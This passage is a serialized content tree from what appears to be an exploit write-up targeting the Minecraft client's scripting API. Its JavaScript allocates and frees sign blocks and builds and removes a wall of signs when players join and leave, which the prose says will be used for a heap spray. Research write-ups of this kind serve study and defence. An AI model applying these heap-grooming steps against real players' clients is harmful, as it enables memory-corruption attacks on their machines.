allocs\"",{"type":24,"tag":327,"props":157206,"children":157207},{"style":346},[157208],{"type":29,"value":583},{"type":24,"tag":327,"props":157210,"children":157211},{"class":329,"line":1026},[157212,157216,157220],{"type":24,"tag":327,"props":157213,"children":157214},{"style":425},[157215],{"type":29,"value":6023},{"type":24,"tag":327,"props":157217,"children":157218},{"style":334},[157219],{"type":29,"value":46051},{"type":24,"tag":327,"props":157221,"children":157222},{"style":346},[157223],{"type":29,"value":405},{"type":24,"tag":327,"props":157225,"children":157226},{"class":329,"line":1048},[157227],{"type":24,"tag":327,"props":157228,"children":157229},{"style":346},[157230],{"type":29,"value":592},{"type":24,"tag":327,"props":157232,"children":157233},{"class":329,"line":1067},[157234],{"type":24,"tag":327,"props":157235,"children":157236},{"emptyLinePlaceholder":16},[157237],{"type":29,"value":544},{"type":24,"tag":327,"props":157239,"children":157240},{"class":329,"line":1075},[157241],{"type":24,"tag":327,"props":157242,"children":157243},{"style":551},[157244],{"type":29,"value":157245},"// Free an allocated sign in the client\n",{"type":24,"tag":327,"props":157247,"children":157248},{"class":329,"line":1084},[157249,157253,157258,157262,157266],{"type":24,"tag":327,"props":157250,"children":157251},{"style":334},[157252],{"type":29,"value":38087},{"type":24,"tag":327,"props":157254,"children":157255},{"style":340},[157256],{"type":29,"value":157257}," free",{"type":24,"tag":327,"props":157259,"children":157260},{"style":346},[157261],{"type":29,"value":349},{"type":24,"tag":327,"props":157263,"children":157264},{"style":356},[157265],{"type":29,"value":157007},{"type":24,"tag":327,"props":157267,"children":157268},{"style":346},[157269],{"type":29,"value":364},{"type":24,"tag":327,"props":157271,"children":157272},{"class":329,"line":1100},[157273,157277,157281,157285,157289,157293,157297,157301,157305,157309,157313,157317],{"type":24,"tag":327,"props":157274,"children":157275},{"style":425},[157276],{"type":29,"value":428},{"type":24,"tag":327,"props":157278,"children":157279},{"style":346},[157280],{"type":29,"value":5894},{"type":24,"tag":327,"props":157282,"children":157283},{"style":356},[157284],{"type":29,"value":157007},{"type":24,"tag":327,"props":157286,"children":157287},{"style":381},[157288],{"type":29,"value":9887},{"type":24,"tag":327,"props":157290,"children":157291},{"style":334},[157292],{"type":29,"value":46051},{"type":24,"tag":327,"props":157294,"children":157295},{"style":381},[157296],{"type":29,"value":5139},{"type":24,"tag":327,"props":157298,"children":157299},{"style":356},[157300],{"type":29,"value":156978},{"type":24,"tag":327,"props":157302,"children":157303},{"style":346},[157304],{"type":29,"value":66},{"type":24,"tag":327,"props":157306,"children":157307},{"style":356},[157308],{"type":29,"value":157016},{"type":24,"tag":327,"props":157310,"children":157311},{"style":381},[157312],{"type":29,"value":9887},{"type":24,"tag":327,"props":157314,"children":157315},{"style":334},[157316],{"type":29,"value":6776},{"type":24,"tag":327,"props":157318,"children":157319},{"style":346},[157320],{"type":29,"value":364},{"type":24,"tag":327,"props":157322,"children":157323},{"class":329,"line":1128},[157324,157328],{"type":24,"tag":327,"props":157325,"children":157326},{"style":425},[157327],{"type":29,"value":4944},{"type":24,"tag":327,"props":157329,"children":157330},{"style":346},[157331],{"type":29,"value":405},{"type":24,"tag":327,"props":157333,"children":157334},{"class":329,"line":1148},[157335],{"type":24,"tag":327,"props":157336,"children":157337},{"style":346},[157338],{"type":29,"value":535},{"type":24,"tag":327,"props":157340,"children":157341},{"class":329,"line":1176},[157342],{"type":24,"tag":327,"props":157343,"children":157344},{"emptyLinePlaceholder":16},[157345],{"type":29,"value":544},{"type":24,"tag":327,"props":157347,"children":157348},{"class":329,"line":1184},[157349,157354,157358,157362,157366,157370,157374,157379],{"type":24,"tag":327,"props":157350,"children":157351},{"style":356},[157352],{"type":29,"value":157353},"    sign",{"type":24,"tag":327,"props":157355,"children":157356},{"style":346},[157357],{"type":29,"value":66},{"type":24,"tag":327,"props":157359,"children":157360},{"style":356},[157361],{"type":29,"value":157007},{"type":24,"tag":327,"props":157363,"children":157364},{"style":346},[157365],{"type":29,"value":66},{"type":24,"tag":327,"props":157367,"children":157368},{"style":340},[157369],{"type":29,"value":157087},{"type":24,"tag":327,"props":157371,"children":157372},{"style":346},[157373],{"type":29,"value":349},{"type":24,"tag":327,"props":157375,"children":157376},{"style":844},[157377],{"type":29,"value":157378},"\"\"",{"type":24,"tag":327,"props":157380,"children":157381},{"style":346},[157382],{"type":29,"value":583},{"type":24,"tag":327,"props":157384,"children":157385},{"class":329,"line":1192},[157386,157390,157394,157398,157402,157406],{"type":24,"tag":327,"props":157387,"children":157388},{"style":356},[157389],{"type":29,"value":157353},{"type":24,"tag":327,"props":157391,"children":157392},{"style":346},[157393],{"type":29,"value":66},{"type":24,"tag":327,"props":157395,"children":157396},{"style":356},[157397],{"type":29,"value":157016},{"type":24,"tag":327,"props":157399,"children":157400},{"style":381},[157401],{"type":29,"value":4809},{"type":24,"tag":327,"props":157403,"children":157404},{"style":334},[157405],{"type":29,"value":6776},{"type":24,"tag":327,"props":157407,"children":157408},{"style":346},[157409],{"type":29,"value":405},{"type":24,"tag":327,"props":157411,"children":157412},{"class":329,"line":1212},[157413],{"type":24,"tag":327,"props":157414,"children":157415},{"emptyLinePlaceholder":16},[157416],{"type":29,"value":544},{"type":24,"tag":327,"props":157418,"children":157419},{"class":329,"line":4841},[157420,157424,157428,157433,157437,157442],{"type":24,"tag":327,"props":157421,"children":157422},{"style":356},[157423],{"type":29,"value":157353},{"type":24,"tag":327,"props":157425,"children":157426},{"style":346},[157427],{"type":29,"value":66},{"type":24,"tag":327,"props":157429,"children":157430},{"style":356},[157431],{"type":29,"value":157432},"block",{"type":24,"tag":327,"props":157434,"children":157435},{"style":346},[157436],{"type":29,"value":66},{"type":24,"tag":327,"props":157438,"children":157439},{"style":340},[157440],{"type":29,"value":157441},"setPermutation",{"type":24,"tag":327,"props":157443,"children":157444},{"style":346},[157445],{"type":29,"value":4663},{"type":24,"tag":327,"props":157447,"children":157448},{"class":329,"line":4862},[157449,157454,157458,157463,157467,157472],{"type":24,"tag":327,"props":157450,"children":157451},{"style":356},[157452],{"type":29,"value":157453},"        BlockPermutation",{"type":24,"tag":327,"props":157455,"children":157456},{"style":346},[157457],{"type":29,"value":66},{"type":24,"tag":327,"props":157459,"children":157460},{"style":340},[157461],{"type":29,"value":157462},"resolve",{"type":24,"tag":327,"props":157464,"children":157465},{"style":346},[157466],{"type":29,"value":349},{"type":24,"tag":327,"props":157468,"children":157469},{"style":844},[157470],{"type":29,"value":157471},"\"minecraft:air\"",{"type":24,"tag":327,"props":157473,"children":157474},{"style":346},[157475],{"type":29,"value":852},{"type":24,"tag":327,"props":157477,"children":157478},{"class":329,"line":4870},[157479],{"type":24,"tag":327,"props":157480,"children":157481},{"style":346},[157482],{"type":29,"value":50373},{"type":24,"tag":327,"props":157484,"children":157485},{"class":329,"line":4879},[157486,157490,157494,157498,157502,157506],{"type":24,"tag":327,"props":157487,"children":157488},{"style":356},[157489],{"type":29,"value":157353},{"type":24,"tag":327,"props":157491,"children":157492},{"style":346},[157493],{"type":29,"value":66},{"type":24,"tag":327,"props":157495,"children":157496},{"style":356},[157497],{"type":29,"value":139692},{"type":24,"tag":327,"props":157499,"children":157500},{"style":381},[157501],{"type":29,"value":4809},{"type":24,"tag":327,"props":157503,"children":157504},{"style":334},[157505],{"type":29,"value":9722},{"type":24,"tag":327,"props":157507,"children":157508},{"style":346},[157509],{"type":29,"value":405},{"type":24,"tag":327,"props":157511,"children":157512},{"class":329,"line":4913},[157513],{"type":24,"tag":327,"props":157514,"children":157515},{"style":346},[157516],{"type":29,"value":592},{"type":24,"tag":25,"props":157518,"children":157519},{},[157520,157522,157528],{"type":29,"value":157521},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":24,"tag":284,"props":157523,"children":157525},{"className":157524},[],[157526],{"type":29,"value":157527},"signs",{"type":29,"value":157529}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":24,"tag":317,"props":157531,"children":157533},{"code":157532,"language":42328,"meta":7,"className":42326,"style":7},"let signs;\n\nfunction create_wall() {\n    signs = [];\n\n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n            [...]\n            \n            const sign_block = world\n                .getDimension(\"overworld\")\n                .getBlock(sign_location);\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:wall_sign\", {\n                    facing_direction: 3\n                }\n            ));\n            let sign_component = sign_block\n                .getComponent(BlockComponentTypes.Sign);\n\n            signs.push({\n                sign: sign_component,\n                allocated: false,\n                block: sign_block,\n                removed: false\n            });\n        }\n    }\n}\n\nfunction remove_wall() {\n    signs = [];\n    \n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n            \n            [...]\n             \n            const sign_block = await wait_for_block(\n                world.getDimension(\"overworld\"),\n                sign_location\n            );\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:air\")\n            );\n\n            [...]\n        }\n    }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n    create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n    remove_wall();\n});\n",[157534],{"type":24,"tag":284,"props":157535,"children":157536},{"__ignoreMap":7},[157537,157552,157559,157575,157592,157599,157661,157723,157730,157746,157754,157776,157802,157827,157847,157876,157888,157895,157903,157925,157959,157966,157986,158002,158018,158034,158046,158054,158061,158068,158075,158082,158098,158113,158120,158179,158238,158245,158260,158268,158296,158324,158332,158339,158358,158385,158392,158399,158414,158421,158428,158435,158442,158498,158510,158517,158524,158585,158597],{"type":24,"tag":327,"props":157538,"children":157539},{"class":329,"line":330},[157540,157544,157548],{"type":24,"tag":327,"props":157541,"children":157542},{"style":334},[157543],{"type":29,"value":19334},{"type":24,"tag":327,"props":157545,"children":157546},{"style":356},[157547],{"type":29,"value":156987},{"type":24,"tag":327,"props":157549,"children":157550},{"style":346},[157551],{"type":29,"value":405},{"type":24,"tag":327,"props":157553,"children":157554},{"class":329,"line":367},[157555],{"type":24,"tag":327,"props":157556,"children":157557},{"emptyLinePlaceholder":16},[157558],{"type":29,"value":544},{"type":24,"tag":327,"props":157560,"children":157561},{"class":329,"line":408},[157562,157566,157571],{"type":24,"tag":327,"props":157563,"children":157564},{"style":334},[157565],{"type":29,"value":38087},{"type":24,"tag":327,"props":157567,"children":157568},{"style":340},[157569],{"type":29,"value":157570}," create_wall",{"type":24,"tag":327,"props":157572,"children":157573},{"style":346},[157574],{"type":29,"value":9697},{"type":24,"tag":327,"props":157576,"children":157577},{"class":329,"line":421},[157578,157583,157587],{"type":24,"tag":327,"props":157579,"children":157580},{"style":356},[157581],{"type":29,"value":157582},"    signs",{"type":24,"tag":327,"props":157584,"children":157585},{"style":381},[157586],{"type":29,"value":4809},{"type":24,"tag":327,"props":157588,"children":157589},{"style":346},[157590],{"type":29,"value":157591}," [];\n",{"type":24,"tag":327,"props":157593,"children":157594},{"class":329,"line":450},[157595],{"type":24,"tag":327,"props":157596,"children":157597},{"emptyLinePlaceholder":16},[157598],{"type":29,"value":544},{"type":24,"tag":327,"props":157600,"children":157601},{"class":329,"line":481},[157602,157606,157610,157614,157619,157623,157627,157631,157636,157640,157645,157649,157653,157657],{"type":24,"tag":327,"props":157603,"children":157604},{"style":425},[157605],{"type":29,"value":10643},{"type":24,"tag":327,"props":157607,"children":157608},{"style":346},[157609],{"type":29,"value":5894},{"type":24,"tag":327,"props":157611,"children":157612},{"style":334},[157613],{"type":29,"value":19334},{"type":24,"tag":327,"props":157615,"children":157616},{"style":356},[157617],{"type":29,"value":157618}," current_y",{"type":24,"tag":327,"props":157620,"children":157621},{"style":381},[157622],{"type":29,"value":4809},{"type":24,"tag":327,"props":157624,"children":157625},{"style":397},[157626],{"type":29,"value":6695},{"type":24,"tag":327,"props":157628,"children":157629},{"style":346},[157630],{"type":29,"value":9866},{"type":24,"tag":327,"props":157632,"children":157633},{"style":356},[157634],{"type":29,"value":157635},"current_y",{"type":24,"tag":327,"props":157637,"children":157638},{"style":381},[157639],{"type":29,"value":4927},{"type":24,"tag":327,"props":157641,"children":157642},{"style":356},[157643],{"type":29,"value":157644}," WALL_HEIGHT",{"type":24,"tag":327,"props":157646,"children":157647},{"style":346},[157648],{"type":29,"value":9866},{"type":24,"tag":327,"props":157650,"children":157651},{"style":356},[157652],{"type":29,"value":157635},{"type":24,"tag":327,"props":157654,"children":157655},{"style":381},[157656],{"type":29,"value":57990},{"type":24,"tag":327,"props":157658,"children":157659},{"style":346},[157660],{"type":29,"value":364},{"type":24,"tag":327,"props":157662,"children":157663},{"class":329,"line":500},[157664,157668,157672,157676,157681,157685,157689,157693,157698,157702,157707,157711,157715,157719],{"type":24,"tag":327,"props":157665,"children":157666},{"style":425},[157667],{"type":29,"value":67299},{"type":24,"tag":327,"props":157669,"children":157670},{"style":346},[157671],{"type":29,"value":5894},{"type":24,"tag":327,"props":157673,"children":157674},{"style":334},[157675],{"type":29,"value":19334},{"type":24,"tag":327,"props":157677,"children":157678},{"style":356},[157679],{"type":29,"value":157680}," current_x",{"type":24,"tag":327,"props":157682,"children":157683},{"style":381},[157684],{"type":29,"value":4809},{"type":24,"tag":327,"props":157686,"children":157687},{"style":397},[157688],{"type":29,"value":6695},{"type":24,"tag":327,"props":157690,"children":157691},{"style":346},[157692],{"type":29,"value":9866},{"type":24,"tag":327,"props":157694,"children":157695},{"style":356},[157696],{"type":29,"value":157697},"current_x",{"type":24,"tag":327,"props":157699,"children":157700},{"style":381},[157701],{"type":29,"value":4927},{"type":24,"tag":327,"props":157703,"children":157704},{"style":356},[157705],{"type":29,"value":157706}," WALL_WIDTH",{"type":24,"tag":327,"props":157708,"children":157709},{"style":346},[157710],{"type":29,"value":9866},{"type":24,"tag":327,"props":157712,"children":157713},{"style":356},[157714],{"type":29,"value":157697},{"type":24,"tag":327,"props":157716,"children":157717},{"style":381},[157718],{"type":29,"value":57990},{"type":24,"tag":327,"props":157720,"children":157721},{"style":346},[157722],{"type":29,"value":364},{"type":24,"tag":327,"props":157724,"children":157725},{"class":329,"line":529},[157726],{"type":24,"tag":327,"props":157727,"children":157728},{"emptyLinePlaceholder":16},[157729],{"type":29,"value":544},{"type":24,"tag":327,"props":157731,"children":157732},{"class":329,"line":538},[157733,157738,157742],{"type":24,"tag":327,"props":157734,"children":157735},{"style":346},[157736],{"type":29,"value":157737},"            [",{"type":24,"tag":327,"props":157739,"children":157740},{"style":381},[157741],{"type":29,"value":1922},{"type":24,"tag":327,"props":157743,"children":157744},{"style":346},[157745],{"type":29,"value":19319},{"type":24,"tag":327,"props":157747,"children":157748},{"class":329,"line":547},[157749],{"type":24,"tag":327,"props":157750,"children":157751},{"style":346},[157752],{"type":29,"value":157753},"            \n",{"type":24,"tag":327,"props":157755,"children":157756},{"class":329,"line":557},[157757,157762,157767,157771],{"type":24,"tag":327,"props":157758,"children":157759},{"style":334},[157760],{"type":29,"value":157761},"            const",{"type":24,"tag":327,"props":157763,"children":157764},{"style":356},[157765],{"type":29,"value":157766}," sign_block",{"type":24,"tag":327,"props":157768,"children":157769},{"style":381},[157770],{"type":29,"value":4809},{"type":24,"tag":327,"props":157772,"children":157773},{"style":356},[157774],{"type":29,"value":157775}," world\n",{"type":24,"tag":327,"props":157777,"children":157778},{"class":329,"line":586},[157779,157784,157789,157793,157798],{"type":24,"tag":327,"props":157780,"children":157781},{"style":346},[157782],{"type":29,"value":157783},"                .",{"type":24,"tag":327,"props":157785,"children":157786},{"style":340},[157787],{"type":29,"value":157788},"getDimension",{"type":24,"tag":327,"props":157790,"children":157791},{"style":346},[157792],{"type":29,"value":349},{"type":24,"tag":327,"props":157794,"children":157795},{"style":844},[157796],{"type":29,"value":157797},"\"overworld\"",{"type":24,"tag":327,"props":157799,"children":157800},{"style":346},[157801],{"type":29,"value":852},{"type":24,"tag":327,"props":157803,"children":157804},{"class":329,"line":1017},[157805,157809,157814,157818,157823],{"type":24,"tag":327,"props":157806,"children":157807},{"style":346},[157808],{"type":29,"value":157783},{"type":24,"tag":327,"props":157810,"children":157811},{"style":340},[157812],{"type":29,"value":157813},"getBlock",{"type":24,"tag":327,"props":157815,"children":157816},{"style":346},[157817],{"type":29,"value":349},{"type":24,"tag":327,"props":157819,"children":157820},{"style":356},[157821],{"type":29,"value":157822},"sign_location",{"type":24,"tag":327,"props":157824,"children":157825},{"style":346},[157826],{"type":29,"value":583},{"type":24,"tag":327,"props":157828,"children":157829},{"class":329,"line":1026},[157830,157835,157839,157843],{"type":24,"tag":327,"props":157831,"children":157832},{"style":356},[157833],{"type":29,"value":157834},"            sign_block",{"type":24,"tag":327,"props":157836,"children":157837},{"style":346},[157838],{"type":29,"value":66},{"type":24,"tag":327,"props":157840,"children":157841},{"style":340},[157842],{"type":29,"value":157441},{"type":24,"tag":327,"props":157844,"children":157845},{"style":346},[157846],{"type":29,"value":4663},{"type":24,"tag":327,"props":157848,"children":157849},{"class":329,"line":1048},[157850,157855,157859,157863,157867,157872],{"type":24,"tag":327,"props":157851,"children":157852},{"style":356},[157853],{"type":29,"value":157854},"                BlockPermutation",{"type":24,"tag":327,"props":157856,"children":157857},{"style":346},[157858],{"type":29,"value":66},{"type":24,"tag":327,"props":157860,"children":157861},{"style":340},[157862],{"type":29,"value":157462},{"type":24,"tag":327,"props":157864,"children":157865},{"style":346},[157866],{"type":29,"value":349},{"type":24,"tag":327,"props":157868,"children":157869},{"style":844},[157870],{"type":29,"value":157871},"\"minecraft:wall_sign\"",{"type":24,"tag":327,"props":157873,"children":157874},{"style":346},[157875],{"type":29,"value":55602},{"type":24,"tag":327,"props":157877,"children":157878},{"class":329,"line":1067},[157879,157884],{"type":24,"tag":327,"props":157880,"children":157881},{"style":356},[157882],{"type":29,"value":157883},"                    facing_direction:",{"type":24,"tag":327,"props":157885,"children":157886},{"style":397},[157887],{"type":29,"value":655},{"type":24,"tag":327,"props":157889,"children":157890},{"class":329,"line":1075},[157891],{"type":24,"tag":327,"props":157892,"children":157893},{"style":346},[157894],{"type":29,"value":77796},{"type":24,"tag":327,"props":157896,"children":157897},{"class":329,"line":1084},[157898],{"type":24,"tag":327,"props":157899,"children":157900},{"style":346},[157901],{"type":29,"value":157902},"            ));\n",{"type":24,"tag":327,"props":157904,"children":157905},{"class":329,"line":1100},[157906,157911,157916,157920],{"type":24,"tag":327,"props":157907,"children":157908},{"style":334},[157909],{"type":29,"value":157910},"            let",{"type":24,"tag":327,"props":157912,"children":157913},{"style":356},[157914],{"type":29,"value":157915}," sign_component",{"type":24,"tag":327,"props":157917,"children":157918},{"style":381},[157919],{"type":29,"value":4809},{"type":24,"tag":327,"props":157921,"children":157922},{"style":356},[157923],{"type":29,"value":157924}," sign_block\n",{"type":24,"tag":327,"props":157926,"children":157927},{"class":329,"line":1128},[157928,157932,157937,157941,157946,157950,157955],{"type":24,"tag":327,"props":157929,"children":157930},{"style":346},[157931],{"type":29,"value":157783},{"type":24,"tag":327,"props":157933,"children":157934},{"style":340},[157935],{"type":29,"value":157936},"getComponent",{"type":24,"tag":327,"props":157938,"children":157939},{"style":346},[157940],{"type":29,"value":349},{"type":24,"tag":327,"props":157942,"children":157943},{"style":356},[157944],{"type":29,"value":157945},"BlockComponentTypes",{"type":24,"tag":327,"props":157947,"children":157948},{"style":346},[157949],{"type":29,"value":66},{"type":24,"tag":327,"props":157951,"children":157952},{"style":356},[157953],{"type":29,"value":157954},"Sign",{"type":24,"tag":327,"props":157956,"children":157957},{"style":346},[157958],{"type":29,"value":583},{"type":24,"tag":327,"props":157960,"children":157961},{"class":329,"line":1148},[157962],{"type":24,"tag":327,"props":157963,"children":157964},{"emptyLinePlaceholder":16},[157965],{"type":29,"value":544},{"type":24,"tag":327,"props":157967,"children":157968},{"class":329,"line":1176},[157969,157974,157978,157982],{"type":24,"tag":327,"props":157970,"children":157971},{"style":356},[157972],{"type":29,"value":157973},"            signs",{"type":24,"tag":327,"props":157975,"children":157976},{"style":346},[157977],{"type":29,"value":66},{"type":24,"tag":327,"props":157979,"children":157980},{"style":340},[157981],{"type":29,"value":5517},{"type":24,"tag":327,"props":157983,"children":157984},{"style":346},[157985],{"type":29,"value":22664},{"type":24,"tag":327,"props":157987,"children":157988},{"class":329,"line":1184},[157989,157994,157998],{"type":24,"tag":327,"props":157990,"children":157991},{"style":356},[157992],{"type":29,"value":157993},"                sign:",{"type":24,"tag":327,"props":157995,"children":157996},{"style":356},[157997],{"type":29,"value":157915},{"type":24,"tag":327,"props":157999,"children":158000},{"style":346},[158001],{"type":29,"value":2231},{"type":24,"tag":327,"props":158003,"children":158004},{"class":329,"line":1192},[158005,158010,158014],{"type":24,"tag":327,"props":158006,"children":158007},{"style":356},[158008],{"type":29,"value":158009},"                allocated:",{"type":24,"tag":327,"props":158011,"children":158012},{"style":334},[158013],{"type":29,"value":6776},{"type":24,"tag":327,"props":158015,"children":158016},{"style":346},[158017],{"type":29,"value":2231},{"type":24,"tag":327,"props":158019,"children":158020},{"class":329,"line":1212},[158021,158026,158030],{"type":24,"tag":327,"props":158022,"children":158023},{"style":356},[158024],{"type":29,"value":158025},"                block:",{"type":24,"tag":327,"props":158027,"children":158028},{"style":356},[158029],{"type":29,"value":157766},{"type":24,"tag":327,"props":158031,"children":158032},{"style":346},[158033],{"type":29,"value":2231},{"type":24,"tag":327,"props":158035,"children":158036},{"class":329,"line":4841},[158037,158042],{"type":24,"tag":327,"props":158038,"children":158039},{"style":356},[158040],{"type":29,"value":158041},"                removed:",{"type":24,"tag":327,"props":158043,"children":158044},{"style":334},[158045],{"type":29,"value":19856},{"type":24,"tag":327,"props":158047,"children":158048},{"class":329,"line":4862},[158049],{"type":24,"tag":327,"props":158050,"children":158051},{"style":346},[158052],{"type":29,"value":158053},"            });\n",{"type":24,"tag":327,"props":158055,"children":158056},{"class":329,"line":4870},[158057],{"type":24,"tag":327,"props":158058,"children":158059},{"style":346},[158060],{"type":29,"value":8989},{"type":24,"tag":327,"props":158062,"children":158063},{"class":329,"line":4879},[158064],{"type":24,"tag":327,"props":158065,"children":158066},{"style":346},[158067],{"type":29,"value":535},{"type":24,"tag":327,"props":158069,"children":158070},{"class":329,"line":4913},[158071],{"type":24,"tag":327,"props":158072,"children":158073},{"style":346},[158074],{"type":29,"value":592},{"type":24,"tag":327,"props":158076,"children":158077},{"class":329,"line":4938},[158078],{"type":24,"tag":327,"props":158079,"children":158080},{"emptyLinePlaceholder":16},[158081],{"type":29,"value":544},{"type":24,"tag":327,"props":158083,"children":158084},{"class":329,"line":4974},[158085,158089,158094],{"type":24,"tag":327,"props":158086,"children":158087},{"style":334},[158088],{"type":29,"value":38087},{"type":24,"tag":327,"props":158090,"children":158091},{"style":340},[158092],{"type":29,"value":158093}," remove_wall",{"type":24,"tag":327,"props":158095,"children":158096},{"style":346},[158097],{"type":29,"value":9697},{"type":24,"tag":327,"props":158099,"children":158100},{"class":329,"line":4982},[158101,158105,158109],{"type":24,"tag":327,"props":158102,"children":158103},{"style":356},[158104],{"type":29,"value":157582},{"type":24,"tag":327,"props":158106,"children":158107},{"style":381},[158108],{"type":29,"value":4809},{"type":24,"tag":327,"props":158110,"children":158111},{"style":346},[158112],{"type":29,"value":157591},{"type":24,"tag":327,"props":158114,"children":158115},{"class":329,"line":4990},[158116],{"type":24,"tag":327,"props":158117,"children":158118},{"style":346},[158119],{"type":29,"value":68509},{"type":24,"tag":327,"props":158121,"children":158122},{"class":329,"line":4999},[158123,158127,158131,158135,158139,158143,158147,158151,158155,158159,158163,158167,158171,158175],{"type":24,"tag":327,"props":158124,"children":158125},{"style":425},[158126],{"type":29,"value":10643},{"type":24,"tag":327,"props":158128,"children":158129},{"style":346},[158130],{"type":29,"value":5894},{"type":24,"tag":327,"props":158132,"children":158133},{"style":334},[158134],{"type":29,"value":19334},{"type":24,"tag":327,"props":158136,"children":158137},{"style":356},[158138],{"type":29,"value":157618},{"type":24,"tag":327,"props":158140,"children":158141},{"style":381},[158142],{"type":29,"value":4809},{"type":24,"tag":327,"props":158144,"children":158145},{"style":397},[158146],{"type":29,"value":6695},{"type":24,"tag":327,"props":158148,"children":158149},{"style":346},[158150],{"type":29,"value":9866},{"type":24,"tag":327,"props":158152,"children":158153},{"style":356},[158154],{"type":29,"value":157635},{"type":24,"tag":327,"props":158156,"children":158157},{"style":381},[158158],{"type":29,"value":4927},{"type":24,"tag":327,"props":158160,"children":158161},{"style":356},[158162],{"type":29,"value":157644},{"type":24,"tag":327,"props":158164,"children":158165},{"style":346},[158166],{"type":29,"value":9866},{"type":24,"tag":327,"props":158168,"children":158169},{"style":356},[158170],{"type":29,"value":157635},{"type":24,"tag":327,"props":158172,"children":158173},{"style":381},[158174],{"type":29,"value":57990},{"type":24,"tag":327,"props":158176,"children":158177},{"style":346},[158178],{"type":29,"value":364},{"type":24,"tag":327,"props":158180,"children":158181},{"class":329,"line":5042},[158182,158186,158190,158194,158198,158202,158206,158210,158214,158218,158222,158226,158230,158234],{"type":24,"tag":327,"props":158183,"children":158184},{"style":425},[158185],{"type":29,"value":67299},{"type":24,"tag":327,"props":158187,"children":158188},{"style":346},[158189],{"type":29,"value":5894},{"type":24,"tag":327,"props":158191,"children":158192},{"style":334},[158193],{"type":29,"value":19334},{"type":24,"tag":327,"props":158195,"children":158196},{"style":356},[158197],{"type":29,"value":157680},{"type":24,"tag":327,"props":158199,"children":158200},{"style":381},[158201],{"type":29,"value":4809},{"type":24,"tag":327,"props":158203,"children":158204},{"style":397},[158205],{"type":29,"value":6695},{"type":24,"tag":327,"props":158207,"children":158208},{"style":346},[158209],{"type":29,"value":9866},{"type":24,"tag":327,"props":158211,"children":158212},{"style":356},[158213],{"type":29,"value":157697},{"type":24,"tag":327,"props":158215,"children":158216},{"style":381},[158217],{"type":29,"value":4927},{"type":24,"tag":327,"props":158219,"children":158220},{"style":356},[158221],{"type":29,"value":157706},{"type":24,"tag":327,"props":158223,"children":158224},{"style":346},[158225],{"type":29,"value":9866},{"type":24,"tag":327,"props":158227,"children":158228},{"style":356},[158229],{"type":29,"value":157697},{"type":24,"tag":327,"props":158231,"children":158232},{"style":381},[158233],{"type":29,"value":57990},{"type":24,"tag":327,"props":158235,"children":158236},{"style":346},[158237],{"type":29,"value":364},{"type":24,"tag":327,"props":158239,"children":158240},{"class":329,"line":5075},[158241],{"type":24,"tag":327,"props":158242,"children":158243},{"style":346},[158244],{"type":29,"value":157753},{"type":24,"tag":327,"props":158246,"children":158247},{"class":329,"line":5083},[158248,158252,158256],{"type":24,"tag":327,"props":158249,"children":158250},{"style":346},[158251],{"type":29,"value":157737},{"type":24,"tag":327,"props":158253,"children":158254},{"style":381},[158255],{"type":29,"value":1922},{"type":24,"tag":327,"props":158257,"children":158258},{"style":346},[158259],{"type":29,"value":19319},{"type":24,"tag":327,"props":158261,"children":158262},{"class":329,"line":5091},[158263],{"type":24,"tag":327,"props":158264,"children":158265},{"style":346},[158266],{"type":29,"value":158267},"             \n",{"type":24,"tag":327,"props":158269,"children":158270},{"class":329,"line":5100},[158271,158275,158279,158283,158287,158292],{"type":24,"tag":327,"props":158272,"children":158273},{"style":334},[158274],{"type":29,"value":157761},{"type":24,"tag":327,"props":158276,"children":158277},{"style":356},[158278],{"type":29,"value":157766},{"type":24,"tag":327,"props":158280,"children":158281},{"style":381},[158282],{"type":29,"value":4809},{"type":24,"tag":327,"props":158284,"children":158285},{"style":425},[158286],{"type":29,"value":42924},{"type":24,"tag":327,"props":158288,"children":158289},{"style":340},[158290],{"type":29,"value":158291}," wait_for_block",{"type":24,"tag":327,"props":158293,"children":158294},{"style":346},[158295],{"type":29,"value":4663},{"type":24,"tag":327,"props":158297,"children":158298},{"class":329,"line":5176},[158299,158304,158308,158312,158316,158320],{"type":24,"tag":327,"props":158300,"children":158301},{"style":356},[158302],{"type":29,"value":158303},"                world",{"type":24,"tag":327,"props":158305,"children":158306},{"style":346},[158307],{"type":29,"value":66},{"type":24,"tag":327,"props":158309,"children":158310},{"style":340},[158311],{"type":29,"value":157788},{"type":24,"tag":327,"props":158313,"children":158314},{"style":346},[158315],{"type":29,"value":349},{"type":24,"tag":327,"props":158317,"children":158318},{"style":844},[158319],{"type":29,"value":157797},{"type":24,"tag":327,"props":158321,"children":158322},{"style":346},[158323],{"type":29,"value":9212},{"type":24,"tag":327,"props":158325,"children":158326},{"class":329,"line":5209},[158327],{"type":24,"tag":327,"props":158328,"children":158329},{"style":356},[158330],{"type":29,"value":158331},"                sign_location\n",{"type":24,"tag":327,"props":158333,"children":158334},{"class":329,"line":5217},[158335],{"type":24,"tag":327,"props":158336,"children":158337},{"style":346},[158338],{"type":29,"value":131841},{"type":24,"tag":327,"props":158340,"children":158341},{"class":329,"line":5225},[158342,158346,158350,158354],{"type":24,"tag":327,"props":158343,"children":158344},{"style":356},[158345],{"type":29,"value":157834},{"type":24,"tag":327,"props":158347,"children":158348},{"style":346},[158349],{"type":29,"value":66},{"type":24,"tag":327,"props":158351,"children":158352},{"style":340},[158353],{"type":29,"value":157441},{"type":24,"tag":327,"props":158355,"children":158356},{"style":346},[158357],{"type":29,"value":4663},{"type":24,"tag":327,"props":158359,"children":158360},{"class":329,"line":5263},[158361,158365,158369,158373,158377,158381],{"type":24,"tag":327,"props":158362,"children":158363},{"style":356},[158364],{"type":29,"value":157854},{"type":24,"tag":327,"props":158366,"children":158367},{"style":346},[158368],{"type":29,"value":66},{"type":24,"tag":327,"props":158370,"children":158371},{"style":340},[158372],{"type":29,"value":157462},{"type":24,"tag":327,"props":158374,"children":158375},{"style":346},[158376],{"type":29,"value":349},{"type":24,"tag":327,"props":158378,"children":158379},{"style":844},[158380],{"type":29,"value":157471},{"type":24,"tag":327,"